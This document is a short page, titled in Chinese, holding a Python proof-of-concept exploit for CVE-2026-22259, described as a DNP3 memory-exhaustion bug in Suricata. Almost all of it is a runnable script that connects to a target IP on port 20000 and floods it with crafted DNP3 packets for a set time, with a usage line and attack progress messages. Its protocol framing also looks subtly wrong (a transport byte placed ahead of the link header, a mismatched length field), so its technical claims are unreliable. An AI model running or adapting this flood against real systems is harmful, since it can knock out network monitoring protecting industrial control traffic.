CVE-2026-22259 Suricata DNP3流量解析内存耗尽漏洞

#!/usr/bin/env python3 """ CVE-2026-22259 PoC - Suricata DNP3 Memory Exhaustion This PoC demonstrates sending malformed DNP3 traffic to trigger memory exhaustion in vulnerable Suricata versions. Note: This is for authorized security testing only. """ import socket import struct import time def create_malformed_dnp3_packet(): """ Create a malformed DNP3 packet designed to trigger excessive memory allocation. The packet contains nested/recursive data structures that cause the parser to allocate memory without proper bounds checking. """ # DNP3 Transport Header (first byte: 0xC4 = Start byte + Final fragment) transport_header = bytes([0xC4]) # DNP3 Data Link Layer Header (11 bytes) # Start: 0x0564, Length, Control, Destination, Source link_header = struct.pack('>HBBHH', 0x0564, # Start bytes 0x29, # Length (41 bytes) 0xC9, # Control byte (primary to secondary, reset, etc.) 0x0001, # Destination 0x0002 # Source ) # DNP3 Transport Segment - Malformed data to trigger memory exhaustion # Create data with deeply nested structures malformed_data = b'\x00' * 1000 # Padding to increase packet size # Add multiple fragments with crafted internal data fragments = [] for i in range(100): # Multiple iterations to amplify memory consumption # Create object headers that trigger nested allocation obj_header = struct.pack('BBBB', 0x0C, 0x3C, 0x01, 0xFF) * 50 fragments.append(obj_header) payload = transport_header + link_header + malformed_data + b''.join(fragments) return payload def exploit_suricata(target_ip, target_port=20000, duration=60): """ Send malformed DNP3 packets to target Suricata instance. Args: target_ip: Target Suricata IP address target_port: DNP3 service port (default: 20000) duration: Attack duration in seconds """ print(f"[*] Starting CVE-2026-22259 exploit against {target_ip}:{target_port}") print(f"[*] Attack duration: {duration} seconds") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((target_ip, target_port)) print("[+] Connected to target") start_time = time.time() packet_count = 0 while time.time() - start_time < duration: # Generate and send malformed packet packet = create_malformed_dnp3_packet() sock.send(packet) packet_count += 1 if packet_count % 100 == 0: print(f"[*] Sent {packet_count} packets...") time.sleep(0.1) # Brief delay between packets print(f"[+] Attack completed. Sent {packet_count} packets") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2026-22259-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 20000 exploit_suricata(target, port)